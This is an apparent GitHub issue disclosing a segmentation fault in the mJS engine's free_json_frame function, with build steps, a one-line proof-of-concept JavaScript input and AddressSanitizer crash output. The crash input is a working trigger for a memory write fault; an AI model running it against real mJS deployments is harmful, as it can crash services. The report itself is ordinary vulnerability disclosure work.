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SEGV src/mjs_json.c:323 in free_json_frame #230

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hope-fly opened this issue Dec 31, 2021 · 0 comments
Open

SEGV src/mjs_json.c:323 in free_json_frame #230

hope-fly opened this issue Dec 31, 2021 · 0 comments

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@hope-fly
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hope-fly commented Dec 31, 2021

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js

(JSON.stringify([1, 2, 3]))((JSON.stringify-6.34321e2)(JSON.stringify([1, 2, 3])));

Execution steps & Output
$ ./mjs/build/mjs poc.js
> $ Gmjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
======ERROR: AddressSanitizer: SEGV on unknown address 0x561b4e461e9c (pc 0x561b4e461ed5 bp 0x000000000080 sp 0x7ffdacf6fb18 T0)
======The signal is caused by a WRITE memory access.
    #0 0x561b4e461ed4 in free_json_frame src/mjs_json.c:323
    #1 0x561b4e461ed4 in mjs_json_parse src/mjs_json.c:476
    #2 0x7ffdacf6fc0f  (<unknown module>)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_json.c:323 in free_json_frame
======ABORTING

Credits: Found by OWL337 team.

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